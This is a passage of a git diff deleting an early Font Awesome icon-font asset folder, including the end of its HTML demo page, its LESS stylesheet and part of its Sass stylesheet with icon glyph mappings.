-     url('../font/fontawesome-webfont.svgz#FontAwesomeRegular') format('svg'),
-     url('../font/fontawesome-webfont.svg#FontAwesomeRegular') format('svg');
-  font-weight: normal;
-  font-style: normal;
-}
-</pre>
-                    </li>
-                    <li>Re-compile your LESS if using a static compiler. Otherwise, you should be good to go.</li>
-                    <li>Check out the examples to start using Font Awesome!</li>
-                </ol>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Bootstrap using CSS</h3>
-                <p>Use this method if integrating with Twitter Bootstrap using CSS.</p>
-            </div>
-            <div class="span9">
-                <ol>
-                    <li>Copy the Font Awesome font directory into your project.</li>
-                    <li>Copy font-awesome.css into your project.</li>
-                    <li>Open your project's font-awesome.css and edit the font url to ensure it points to the right place (see above example).</li>
-                    <li>
-                        In the <code>&lt;head&gt;</code> of your html, reference the location to your font-awesome.css.
-<pre class="prettyprint linenums">
-&lt;link rel="stylesheet" href="../css/bootstrap.css"&gt;
-&lt;link rel="stylesheet" href="../css/font-awesome.css"&gt;
-</pre>
-                    </li>
-                    <li>Check out the examples to start using Font Awesome!</li>
-                </ol>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Not using Bootstrap?</h3>
-                <p>Font Awesome works just as well without Twitter Bootstrap.</p>
-            </div>
-            <div class="span9">
-                <ol>
-                    <li>Copy the Font Awesome font directory into your project.</li>
-                    <li>Copy font-awesome.less or font-awesome.css into your project.</li>
-                    <li>Open your project's font-awesome.less or font-awesome.css and edit the font url to ensure it points to the right place (see above example).</li>
-                    <li>Check out the examples to start using Font Awesome!</li>
-                </ol>
-            </div>
-        </div>
-    </section>
-
-    <section id="code">
-        <h1>Code</h1>
-        <div class="row">
-            <div class="span3">
-                <h3>Inline Icon</h3>
-                <p>Place Font Awesome icons just about anywhere with the <code>&lt;i&gt;</code> tag.</p>
-            </div>
-            <div class="span9">
-                <div class="well">
-                    <div style="font-size: 24px;">
-                        <i class="icon-camera-retro"></i> icon-camera-retro
-                    </div>
-                </div>
-<pre class="prettyprint linenums">
-&lt;div style="font-size: 24px;"&gt;
-  &lt;i class="icon-camera-retro"&gt;&lt;/i&gt; icon-camera-retro
-&lt;/div&gt;
-</pre>
-                <div class="alert alert-info"><i class="icon-info-sign"></i> Icon classes are echoed via CSS :before.</div>
-                <p>Increase the icon size by using the <code>icon-large</code> class. This increases the size by 33% relative to the font-size of the container.</p>
-                <div class="well">
-                    <div style="font-size: 24px;">
-                        <i class="icon-camera-retro icon-large"></i> icon-camera-retro
-                    </div>
-                </div>
-<pre class="prettyprint linenums">
-&lt;div style="font-size: 24px;"&gt;
-  &lt;i class="icon-camera-retro icon-large"&gt;&lt;/i&gt; icon-camera-retro
-&lt;/div&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Buttons</h3>
-                <p>
-                    <p>
-                        <a class="btn" href="#">
-                            <i class="icon-refresh"></i> Refresh</a>
-                        <a class="btn btn-success" href="#">
-                            <i class="icon-shopping-cart icon-large"></i> Checkout</a>
-                    </p>
-                    <p>
-                        <a class="btn btn-large btn-primary" href="#">
-                            <i class="icon-comment"></i> Comment</a>
-                        <a class="btn btn-danger" href="#">
-                            <i class="icon-trash icon-large"></i> Delete</a>
-                    </p>
-                    <p>
-                        <a class="btn btn-small" href="#">
-                            <i class="icon-cog"></i> Settings</a>
-                        <a class="btn btn-small btn-info" href="#">
-                            <i class="icon-info-sign"></i> More Info</a>
-                    </p>
-                </p>
-            </div>
-            <div class="span9">
-                <p>Font Awesome icons work great in buttons.</p>
-<pre class="prettyprint linenums">
-&lt;a class="btn" href="#"&gt;
-  &lt;i class="icon-refresh"&gt;&lt;/i&gt; Refresh&lt;/a&gt;
-&lt;a class="btn btn-success" href="#"&gt;
-  &lt;i class="icon-shopping-cart icon-large"&gt;&lt;/i&gt; Checkout&lt;/a&gt;
-&lt;a class="btn btn-large btn-primary" href="#"&gt;
-  &lt;i class="icon-comment"&gt;&lt;/i&gt; Comment&lt;/a&gt;
-&lt;a class="btn btn-danger" href="#"&gt;
-  &lt;i class="icon-trash icon-large"&gt;&lt;/i&gt; Delete&lt;/a&gt;
-&lt;a class="btn btn-small" href="#"&gt;
-  &lt;i class="icon-cog"&gt;&lt;/i&gt; Settings&lt;/a&gt;
-&lt;a class="btn btn-small btn-info" href="#"&gt;
-  &lt;i class="icon-info-sign"&gt;&lt;/i&gt; More Info&lt;/a&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Button groups</h3>
-                <p>
-                    <div class="btn-group">
-                        <a class="btn" href="#"><i class="icon-align-left"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-center"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-right"></i></a>
-                        <a class="btn" href="#"><i class="icon-align-justify"></i></a>
-                    </div>
-                </p>
-            </div>
-            <div class="span9">
-<pre class="prettyprint linenums">
-&lt;div class="btn-group"&gt;
-  &lt;a class="btn" href="#"&gt;&lt;i class="icon-align-left"&gt;&lt;/i&gt;&lt;/a&gt;
-  &lt;a class="btn" href="#"&gt;&lt;i class="icon-align-center"&gt;&lt;/i&gt;&lt;/a&gt;
-  &lt;a class="btn" href="#"&gt;&lt;i class="icon-align-right"&gt;&lt;/i&gt;&lt;/a&gt;
-  &lt;a class="btn" href="#"&gt;&lt;i class="icon-align-justify"&gt;&lt;/i&gt;&lt;/a&gt;
-&lt;/div&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Button dropdowns</h3>
-                <p>
-                    <div class="btn-group">
-                        <a class="btn btn-primary" href="#"><i class="icon-user"></i> User</a>
-                        <a class="btn btn-primary dropdown-toggle" data-toggle="dropdown" href="#">
-                            <span class="icon-chevron-down"></span></a>
-                        <ul class="dropdown-menu">
-                            <li><a href="#"><i class="icon-pencil"></i> Edit</a></li>
-                            <li><a href="#"><i class="icon-trash"></i> Delete</a></li>
-                            <li><a href="#"><i class="icon-ban-circle"></i> Ban</a></li>
-                            <li class="divider"></li>
-                            <li><a href="#"><i class="i"></i> Make admin</a></li>
-                        </ul>
-                    </div>
-                </div>
-            </p>
-            <div class="span9">
-<pre class="prettyprint linenums">
-&lt;div class="btn-group"&gt;
-    &lt;a class="btn btn-primary" href="#"&gt;&lt;i class="icon-user"&gt;&lt;/i&gt; User&lt;/a&gt;
-    &lt;a class="btn btn-primary dropdown-toggle" data-toggle="dropdown" href="#"&gt;&lt;span class="icon-chevron-down"&gt;&lt;/span&gt;&lt;/a&gt;
-    &lt;ul class="dropdown-menu"&gt;
-        &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-pencil"&gt;&lt;/i&gt; Edit&lt;/a&gt;&lt;/li&gt;
-        &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-trash"&gt;&lt;/i&gt; Delete&lt;/a&gt;&lt;/li&gt;
-        &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-ban-circle"&gt;&lt;/i&gt; Ban&lt;/a&gt;&lt;/li&gt;
-        &lt;li class="divider"&gt;&lt;/li&gt;
-        &lt;li&gt;&lt;a href="#"&gt;&lt;i class="i"&gt;&lt;/i&gt; Make admin&lt;/a&gt;&lt;/li&gt;
-    &lt;/ul&gt;
-&lt;/div&gt;
-</pre>
-                <div class="alert alert-info"><i class="icon-info-sign"></i> Don't forget to add the appropriate JavaScript to enable button dropdowns.</div>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Lists</h3>
-                <p>
-                    <ul>
-                        <li class="icon-ok">Lists</li>
-                        <li class="icon-ok">Buttons</li>
-                        <li class="icon-ok">Button groups</li>
-                        <li class="icon-ok">Navigation</li>
-                        <li class="icon-ok">Prepended form inputs</li>
-                    </ul>
-                </p>
-            </div>
-            <div class="span9">
-                <p>Easily replace individual bullets.</p>
-<pre class="prettyprint linenums">
-&lt;ul&gt;
-  &lt;li class="icon-ok"&gt;Lists&lt;/li&gt;
-  &lt;li class="icon-ok"&gt;Buttons&lt;/li&gt;
-  &lt;li class="icon-ok"&gt;Button groups&lt;/li&gt;
-  &lt;li class="icon-ok"&gt;Navigation&lt;/li&gt;
-  &lt;li class="icon-ok"&gt;Prepended form inputs&lt;/li&gt;
-&lt;/ul&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Navigation</h3>
-                <div class="well" style="padding: 8px 0;">
-                    <ul class="nav nav-list">
-                        <li class="active"><a href="#"><i class="icon-home"></i> Home</a></li>
-                        <li><a href="#"><i class="icon-book"></i> Library</a></li>
-                        <li><a href="#"><i class="icon-pencil"></i> Applications</a></li>
-                        <li><a href="#"><i class="icon-cogs"></i> Settings</a></li>
-                    </ul>
-                </div>
-            </div>
-            <div class="span9">
-                <p>Use Font Awesome icons in navigation to provide helpful visual cues.</p>
-<pre class="prettyprint linenums">
-&lt;ul class="nav nav-list"&gt;
-  &lt;li class="active"&gt;&lt;a href="#"&gt;&lt;i class="icon-home"&gt;&lt;/i&gt; Home&lt;/a&gt;&lt;/li&gt;
-  &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-book"&gt;&lt;/i&gt; Library&lt;/a&gt;&lt;/li&gt;
-  &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-pencil"&gt;&lt;/i&gt; Applications&lt;/a&gt;&lt;/li&gt;
-  &lt;li&gt;&lt;a href="#"&gt;&lt;i class="icon-cogs"&gt;&lt;/i&gt; Settings&lt;/a&gt;&lt;/li&gt;
-&lt;/ul&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Prepended form inputs</h3>
-                <p>
-                    <form>
-                        <div class="input-prepend">
-                            <span class="add-on"><i class="icon-envelope"></i></span>
-                            <input class="span2" type="text" placeholder="Email address">
-                        </div>
-                        <div class="input-prepend">
-                            <span class="add-on"><i class="icon-key"></i></span>
-                            <input class="span2" type="password" placeholder="Password">
-                        </div>
-                    </form>
-                </p>
-            </div>
-            <div class="span9">
-<pre class="prettyprint linenums">
-&lt;form&gt;
-  &lt;div class="input-prepend"&gt;
-    &lt;span class="add-on"&gt;&lt;i class="icon-envelope"&gt;&lt;/i&gt;&lt;/span&gt;
-    &lt;input class="span2" type="text" placeholder="Email address"&gt;
-  &lt;/div&gt;
-  &lt;div class="input-prepend"&gt;
-    &lt;span class="add-on"&gt;&lt;i class="icon-key"&gt;&lt;/i&gt;&lt;/span&gt;
-    &lt;input class="span2" type="password" placeholder="Password"&gt;
-  &lt;/div&gt;
-&lt;/form&gt;
-</pre>
-            </div>
-        </div>
-        <div class="row">
-            <div class="span3">
-                <h3>Custom CSS</h3>
-                <p>Anything you can do with CSS font effects, you can do with Font Awesome.</p>
-            </div>
-            <div class="span9">
-                <p>Star Ratings (inspired by <a href="http://css-tricks.com/star-ratings/" target="_blank">CSS Tricks</a>)</p>
-                <div class="well">
-                    <span class="rating">
-                        <span class="star"></span><span class="star"></span><span class="star"></span><span class="star"></span><span class="star"></span>
-                    </span>
-                </div>
-            </div>
-        </div>
-    </section>
-
-    <section id="roadmap">
-        <h1>Roadmap</h1>
-        <p>Here's the plan for future updates.</p>
-        <ul>
-            <li class="icon-plus">Support for IE7.</li>
-            <li class="icon-plus">Better hinting for smaller font sizes.</li>
-            <li class="icon-plus">More icons. Have any requests? <a href="https://github.com/FortAwesome/Font-Awesome/issues" target="_blank">Open an issue</a> in the Font Awesome GitHub project.</li>
-            <li class="icon-plus">More complete Twitter Bootstrap compatibility.</li>
-            <li class="icon-plus">Tricks and tips for super-awesome creative CSS methods, like the star example above.</li>
-        </ul>
-    </section>
-
-    <footer>
-        <div class="row">
-            <div class="span4">
-                <h2>Contact</h2>
-                <ul>
-                    <li class="icon-envelope">Email: <a href="mailto:dave@davegandy.com">Dave Gandy</a></li>
-                    <li class="icon-twitter-sign">Twitter: <a href="http://twitter.com/fortaweso_me/" target="_blank">@FortAweso_me</a></li>
-                    <li class="icon-lemon">Work: <a href="http://lemonwi.se" target="_blank">Lemonwise</a> co-founder</li>
-                </ul>
-            </div>
-            <div class="span8">
-                <h2>License</h2>
-                The Font Awesome webfont, CSS, and LESS files are licensed under
-                <a href="http://creativecommons.org/licenses/by/3.0/" target="_blank">CC BY 3.0</a>.
-                A mention of <code>Font Awesome - http://fortawesome.github.com/Font-Awesome</code> in human-readable source code
-                is considered acceptable attribution (most common on the web). If human readable source code is not available to
-                the end user, a mention in an 'About' or 'Credits' screen is considered acceptable (most common in desktop or
-                mobile software).
-            </div>
-            <div class="span12">
-                <h2>Special Thanks</h2>
-                Special thanks to <a href="http://twitter.com/robmadole/" target="_blank">@robmadole</a> and
-                <a href="http://twitter.com/supercodepoet/" target="_blank">@supercodepoet</a> for icon design
-                review, advice, and some backbone.js help.
-            </div>
-        </div>
-    </footer>
-
-
-</div>
-
-<script type="text/template" id="modal-template">
-    <div class="modal hide fade in">
-        <div class="modal-header">
-            <a class="close" data-dismiss="modal"><i class="icon-remove"></i></a>
-            <h3><%= style %></h3>
-        </div>
-        <div class="modal-body">
-            <div class="row">
-                <div class="span3 icon6">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        340px
-                    </div>
-                </div>
-                <div class="span3 icon5">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        180px
-                    </div>
-                </div>
-            </div>
-            <div class="row">
-                <div class="span2 icon4">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        100px
-                    </div>
-                </div>
-                <div class="span2 icon3">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        50px
-                    </div>
-                </div>
-                <div class="span1 icon2">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        20px
-                    </div>
-                </div>
-                <div class="span1 icon1">
-                    <div class="thumbnail">
-                        <div><i class="<%= style %>"></i></div>
-                        12 px
-                    </div>
-                </div>
-            </div>
-        </div>
-    </div>
-</script>
-
-<script src="assets/js/jquery-1.7.1.min.js"></script>
-<script src="assets/js/underscore.min.js"></script>
-<script src="assets/js/backbone.min.js"></script>
-<script src="assets/js/prettify.min.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-transition.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-alert.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-modal.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-dropdown.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-scrollspy.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-tab.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-tooltip.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-popover.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-button.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-collapse.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-carousel.js"></script>
-<script src="assets/js/tw-bs-201/bootstrap-typeahead.js"></script>
-<script src="assets/js/index/index.js"></script>
-
-<script type="text/javascript">
-    $(function(){
-        $('#iconCarousel').carousel({
-            interval: 5000
-        });
-
-        // tooltips
-        $('#why').tooltip({
-            selector: "a[rel=tooltip]",
-            placement: 'bottom'
-        })
-
-        // make code pretty
-        window.prettyPrint && prettyPrint();
-    });
-</script>
-</body>
-</html>
diff --git a/assets/font-awesome/less/font-awesome.less b/assets/font-awesome/less/font-awesome.less
deleted file mode 100755
index b19e0231..00000000
--- a/assets/font-awesome/less/font-awesome.less
+++ /dev/null
@@ -1,264 +0,0 @@
-/*  Font Awesome
-    the iconic font designed for use with Twitter Bootstrap
-    -------------------------------------------------------
-    The full suite of pictographic icons, examples, and documentation
-    can be found at: http://fortawesome.github.com/Font-Awesome/
-
-    License
-    -------------------------------------------------------
-    The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
-    http://creativecommons.org/licenses/by/3.0/ A mention of
-    'Font Awesome - http://fortawesome.github.com/Font-Awesome' in human-readable
-    source code is considered acceptable attribution (most common on the web).
-    If human readable source code is not available to the end user, a mention in
-    an 'About' or 'Credits' screen is considered acceptable (most common in desktop
-    or mobile software).
-
-    Contact
-    -------------------------------------------------------
-    Email: dave@davegandy.com
-    Twitter: http://twitter.com/fortaweso_me
-    Work: http://lemonwi.se co-founder
-
-    */
-
-@font-face {
-    font-family: 'FontAwesome';
-    src: url('../font/fontawesome-webfont.eot');
-    src: url('../font/fontawesome-webfont.eot?#iefix') format('embedded-opentype'),
-         url('../font/fontawesome-webfont.woff') format('woff'),
-         url('../font/fontawesome-webfont.ttf') format('truetype'),
-         url('../font/fontawesome-webfont.svgz#FontAwesomeRegular') format('svg'),
-         url('../font/fontawesome-webfont.svg#FontAwesomeRegular') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
-
-/* sprites.less reset */
-[class^="icon-"],
-[class*=" icon-"] {
-    display: inline;
-    width: auto;
-    height: auto;
-    line-height: inherit;
-    vertical-align: baseline;
-    background-image: none;
-    background-position: 0% 0%;
-    background-repeat: repeat;
-}
-li[class^="icon-"],
-li[class*=" icon-"] {
-    display: block;
-}
-
-/*  Font Awesome styles
-    ------------------------------------------------------- */
-[class^="icon-"]:before,
-[class*=" icon-"]:before {
-    font-family: FontAwesome;
-    font-weight: normal;
-    font-style: normal;
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-a [class^="icon-"],
-a [class*=" icon-"] {
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.icon-large:before {
-    vertical-align: top;
-    font-size: 4/3em;
-}
-
-.btn {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        /* keeps button heights with and without icons the same */
-        line-height: .9em;
-    }
-}
-
-li {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        display: inline-block;
-        width: 1.25em;
-        text-align: center;
-    }
-    .icon-large[class^="icon-"],
-    .icon-large[class*=" icon-"]  {
-        /* 1.5 increased font size for icon-large * 1.25 width */
-        width: 1.5*1.25em;
-    }
-}
-
-li[class^="icon-"],
-li[class*=" icon-"] {
-    margin-left: 0;
-    list-style-type: none;
-
-    &:before {
-        text-indent: -2em;
-        text-align: center;
-    }
-    &.icon-large:before {
-        text-indent: -4/3em;
-    }
-}
-
-/*  Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-    readers do not read off random characters that represent icons */
-.icon-glass:before              { content: "\f000"; }
-.icon-music:before              { content: "\f001"; }
-.icon-search:before             { content: "\f002"; }
-.icon-envelope:before           { content: "\f003"; }
-.icon-heart:before              { content: "\f004"; }
-.icon-star:before               { content: "\f005"; }
-.icon-star-empty:before         { content: "\f006"; }
-.icon-user:before               { content: "\f007"; }
-.icon-film:before               { content: "\f008"; }
-.icon-th-large:before           { content: "\f009"; }
-.icon-th:before                 { content: "\f00a"; }
-.icon-th-list:before            { content: "\f00b"; }
-.icon-ok:before                 { content: "\f00c"; }
-.icon-remove:before             { content: "\f00d"; }
-.icon-zoom-in:before            { content: "\f00e"; }
-
-.icon-zoom-out:before           { content: "\f010"; }
-.icon-off:before                { content: "\f011"; }
-.icon-signal:before             { content: "\f012"; }
-.icon-cog:before                { content: "\f013"; }
-.icon-trash:before              { content: "\f014"; }
-.icon-home:before               { content: "\f015"; }
-.icon-file:before               { content: "\f016"; }
-.icon-time:before               { content: "\f017"; }
-.icon-road:before               { content: "\f018"; }
-.icon-download-alt:before       { content: "\f019"; }
-.icon-download:before           { content: "\f01a"; }
-.icon-upload:before             { content: "\f01b"; }
-.icon-inbox:before              { content: "\f01c"; }
-.icon-play-circle:before        { content: "\f01d"; }
-.icon-repeat:before             { content: "\f01e"; }
-
-/* \f020 is not a valid unicode character. all shifted one down */
-.icon-refresh:before            { content: "\f021"; }
-.icon-list-alt:before           { content: "\f022"; }
-.icon-lock:before               { content: "\f023"; }
-.icon-flag:before               { content: "\f024"; }
-.icon-headphones:before         { content: "\f025"; }
-.icon-volume-off:before         { content: "\f026"; }
-.icon-volume-down:before        { content: "\f027"; }
-.icon-volume-up:before          { content: "\f028"; }
-.icon-qrcode:before             { content: "\f029"; }
-.icon-barcode:before            { content: "\f02a"; }
-.icon-tag:before                { content: "\f02b"; }
-.icon-tags:before               { content: "\f02c"; }
-.icon-book:before               { content: "\f02d"; }
-.icon-bookmark:before           { content: "\f02e"; }
-.icon-print:before              { content: "\f02f"; }
-
-.icon-camera:before             { content: "\f030"; }
-.icon-font:before               { content: "\f031"; }
-.icon-bold:before               { content: "\f032"; }
-.icon-italic:before             { content: "\f033"; }
-.icon-text-height:before        { content: "\f034"; }
-.icon-text-width:before         { content: "\f035"; }
-.icon-align-left:before         { content: "\f036"; }
-.icon-align-center:before       { content: "\f037"; }
-.icon-align-right:before        { content: "\f038"; }
-.icon-align-justify:before      { content: "\f039"; }
-.icon-list:before               { content: "\f03a"; }
-.icon-indent-left:before        { content: "\f03b"; }
-.icon-indent-right:before       { content: "\f03c"; }
-.icon-facetime-video:before     { content: "\f03d"; }
-.icon-picture:before            { content: "\f03e"; }
-
-.icon-pencil:before             { content: "\f040"; }
-.icon-map-marker:before         { content: "\f041"; }
-.icon-adjust:before             { content: "\f042"; }
-.icon-tint:before               { content: "\f043"; }
-.icon-edit:before               { content: "\f044"; }
-.icon-share:before              { content: "\f045"; }
-.icon-check:before              { content: "\f046"; }
-.icon-move:before               { content: "\f047"; }
-.icon-step-backward:before      { content: "\f048"; }
-.icon-fast-backward:before      { content: "\f049"; }
-.icon-backward:before           { content: "\f04a"; }
-.icon-play:before               { content: "\f04b"; }
-.icon-pause:before              { content: "\f04c"; }
-.icon-stop:before               { content: "\f04d"; }
-.icon-forward:before            { content: "\f04e"; }
-
-.icon-fast-forward:before       { content: "\f050"; }
-.icon-step-forward:before       { content: "\f051"; }
-.icon-eject:before              { content: "\f052"; }
-.icon-chevron-left:before       { content: "\f053"; }
-.icon-chevron-right:before      { content: "\f054"; }
-.icon-plus-sign:before          { content: "\f055"; }
-.icon-minus-sign:before         { content: "\f056"; }
-.icon-remove-sign:before        { content: "\f057"; }
-.icon-ok-sign:before            { content: "\f058"; }
-.icon-question-sign:before      { content: "\f059"; }
-.icon-info-sign:before          { content: "\f05a"; }
-.icon-screenshot:before         { content: "\f05b"; }
-.icon-remove-circle:before      { content: "\f05c"; }
-.icon-ok-circle:before          { content: "\f05d"; }
-.icon-ban-circle:before         { content: "\f05e"; }
-
-.icon-arrow-left:before         { content: "\f060"; }
-.icon-arrow-right:before        { content: "\f061"; }
-.icon-arrow-up:before           { content: "\f062"; }
-.icon-arrow-down:before         { content: "\f063"; }
-.icon-share-alt:before          { content: "\f064"; }
-.icon-resize-full:before        { content: "\f065"; }
-.icon-resize-small:before       { content: "\f066"; }
-.icon-plus:before               { content: "\f067"; }
-.icon-minus:before              { content: "\f068"; }
-.icon-asterisk:before           { content: "\f069"; }
-.icon-exclamation-sign:before   { content: "\f06a"; }
-.icon-gift:before               { content: "\f06b"; }
-.icon-leaf:before               { content: "\f06c"; }
-.icon-fire:before               { content: "\f06d"; }
-.icon-eye-open:before           { content: "\f06e"; }
-
-.icon-eye-close:before          { content: "\f070"; }
-.icon-warning-sign:before       { content: "\f071"; }
-.icon-plane:before              { content: "\f072"; }
-.icon-calendar:before           { content: "\f073"; }
-.icon-random:before             { content: "\f074"; }
-.icon-comment:before            { content: "\f075"; }
-.icon-magnet:before             { content: "\f076"; }
-.icon-chevron-up:before         { content: "\f077"; }
-.icon-chevron-down:before       { content: "\f078"; }
-.icon-retweet:before            { content: "\f079"; }
-.icon-shopping-cart:before      { content: "\f07a"; }
-.icon-folder-close:before       { content: "\f07b"; }
-.icon-folder-open:before        { content: "\f07c"; }
-.icon-resize-vertical:before    { content: "\f07d"; }
-.icon-resize-horizontal:before  { content: "\f07e"; }
-
-.icon-bar-chart:before          { content: "\f080"; }
-.icon-twitter-sign:before       { content: "\f081"; }
-.icon-facebook-sign:before      { content: "\f082"; }
-.icon-camera-retro:before       { content: "\f083"; }
-.icon-key:before                { content: "\f084"; }
-.icon-cogs:before               { content: "\f085"; }
-.icon-comments:before           { content: "\f086"; }
-.icon-thumbs-up:before          { content: "\f087"; }
-.icon-thumbs-down:before        { content: "\f088"; }
-.icon-star-half:before          { content: "\f089"; }
-.icon-heart-empty:before        { content: "\f08a"; }
-.icon-signout:before            { content: "\f08b"; }
-.icon-linkedin-sign:before      { content: "\f08c"; }
-.icon-pushpin:before            { content: "\f08d"; }
-.icon-external-link:before      { content: "\f08e"; }
-
-.icon-signin:before             { content: "\f090"; }
-.icon-trophy:before             { content: "\f091"; }
-.icon-github-sign:before        { content: "\f092"; }
-.icon-upload-alt:before         { content: "\f093"; }
-.icon-lemon:before              { content: "\f094"; }
diff --git a/assets/font-awesome/sass/font-awesome.sass b/assets/font-awesome/sass/font-awesome.sass
deleted file mode 100755
index 5f9ec766..00000000
--- a/assets/font-awesome/sass/font-awesome.sass
+++ /dev/null
@@ -1,513 +0,0 @@
-/*  Font Awesome
- *    the iconic font designed for use with Twitter Bootstrap
- *    -------------------------------------------------------
- *    The full suite of pictographic icons, examples, and documentation
- *    can be found at: http://fortawesome.github.com/Font-Awesome/
- *
- *    License
- *    -------------------------------------------------------
- *    The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
- *    http://creativecommons.org/licenses/by/3.0/ A mention of
- *    'Font Awesome - http://fortawesome.github.com/Font-Awesome' in human-readable
- *    source code is considered acceptable attribution (most common on the web).
- *    If human readable source code is not available to the end user, a mention in
- *    an 'About' or 'Credits' screen is considered acceptable (most common in desktop
- *    or mobile software).
- *
- *    Contact
- *    -------------------------------------------------------
- *    Email: dave@davegandy.com
- *    Twitter: http://twitter.com/fortaweso_me
- *    Work: http://lemonwi.se co-founder
-
-@import compass/css3/font-face
-$font_path: "../font/fontawesome-webfont" !default
-
-+font-face("FontAwesome", font-files("#{$font_path}.woff", woff, "#{$font_path}.ttf", truetype, "#{$font_path}.otf", opentype, "#{$font_path}.svgz#FontAwesomeRegular", svg, "#{$font_path}.svg#FontAwesomeRegular", svg), "#{$font_path}.eot", normal, normal)
-
-// sprites.less reset
-[class^="icon-"],
-[class*=" icon-"]
-  display: inline
-  width: auto
-  height: auto
-  line-height: inherit
-  vertical-align: baseline
-  background-image: none
-  background-position: 0% 0%
-  background-repeat: repeat
-
-li[class^="icon-"],
-li[class*=" icon-"]
-  display: block
-
-/*  Font Awesome styles
- *  -------------------------------------------------------
-
-[class^="icon-"]:before,
-[class*=" icon-"]:before
-  font-family: FontAwesome
-  font-weight: normal
-  font-style: normal
-  display: inline-block
-  text-decoration: inherit
-
-a [class^="icon-"],
-a [class*=" icon-"]
-  display: inline-block
-  text-decoration: inherit
-
-// makes the font 33% larger relative to the icon container
-.icon-large:before
-  vertical-align: top
-  font-size: 4 / 3em
-
-.btn
-  [class^="icon-"],
-  [class*=" icon-"]
-    /* keeps button heights with and without icons the same
-    line-height: .9em
-
-li
-  [class^="icon-"],
-  [class*=" icon-"]
-    display: inline-block
-    width: 1.25em
-    text-align: center
-  .icon-large[class^="icon-"],
-  .icon-large[class*=" icon-"]
-    // 1.5 increased font size for icon-large * 1.25 width
-    width: 1.5 * 1.25em
-
-li[class^="icon-"],
-li[class*=" icon-"]
-  margin-left: 0
-  list-style-type: none
-  &:before
-    text-indent: -2em
-    text-align: center
-  &.icon-large:before
-    text-indent: -4 / 3em
-
-/*  Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
- *  readers do not read off random characters that represent icons
-.icon-glass:before
-  content: "\f000"
-
-.icon-music:before
-  content: "\f001"
-
-.icon-search:before
-  content: "\f002"
-
-.icon-envelope:before
-  content: "\f003"
-
-.icon-heart:before
-  content: "\f004"
-
-.icon-star:before
-  content: "\f005"
-
-.icon-star-empty:before
-  content: "\f006"
-
-.icon-user:before
-  content: "\f007"
-
-.icon-film:before
-  content: "\f008"
-
-.icon-th-large:before
-  content: "\f009"
-
-.icon-th:before
-  content: "\f00a"
-
-.icon-th-list:before
-  content: "\f00b"
-
-.icon-ok:before
-  content: "\f00c"
-
-.icon-remove:before
-  content: "\f00d"
-
-.icon-zoom-in:before
-  content: "\f00e"
-
-.icon-zoom-out:before
-  content: "\f010"
-
-.icon-off:before
-  content: "\f011"
-
-.icon-signal:before
-  content: "\f012"
-
-.icon-cog:before
-  content: "\f013"
-
-.icon-trash:before
-  content: "\f014"
-
-.icon-home:before
-  content: "\f015"
-
-.icon-file:before
-  content: "\f016"
-
-.icon-time:before
-  content: "\f017"
-
-.icon-road:before
-  content: "\f018"
-
-.icon-download-alt:before
-  content: "\f019"
-
-.icon-download:before
-  content: "\f01a"
-
-.icon-upload:before
-  content: "\f01b"
-
-.icon-inbox:before
-  content: "\f01c"
-
-.icon-play-circle:before
-  content: "\f01d"
-
-.icon-repeat:before
-  content: "\f01e"
-
-/* \f020 is not a valid unicode character. all shifted one down */
-.icon-refresh:before
-  content: "\f021"
-
-.icon-list-alt:before
-  content: "\f022"
-
-.icon-lock:before
-  content: "\f023"
-
-.icon-flag:before
-  content: "\f024"
-
-.icon-headphones:before
-  content: "\f025"
-
-.icon-volume-off:before
-  content: "\f026"
-
-.icon-volume-down:before
-  content: "\f027"
-
-.icon-volume-up:before
-  content: "\f028"
-
-.icon-qrcode:before
-  content: "\f029"
-
-.icon-barcode:before
-  content: "\f02a"
-
-.icon-tag:before
-  content: "\f02b"
-
-.icon-tags:before
-  content: "\f02c"
-
-.icon-book:before
-  content: "\f02d"
-
-.icon-bookmark:before
-  content: "\f02e"
-
-.icon-print:before
-  content: "\f02f"
-
-.icon-camera:before
-  content: "\f030"
-
-.icon-font:before
-  content: "\f031"
-
-.icon-bold:before
-  content: "\f032"
-
-.icon-italic:before
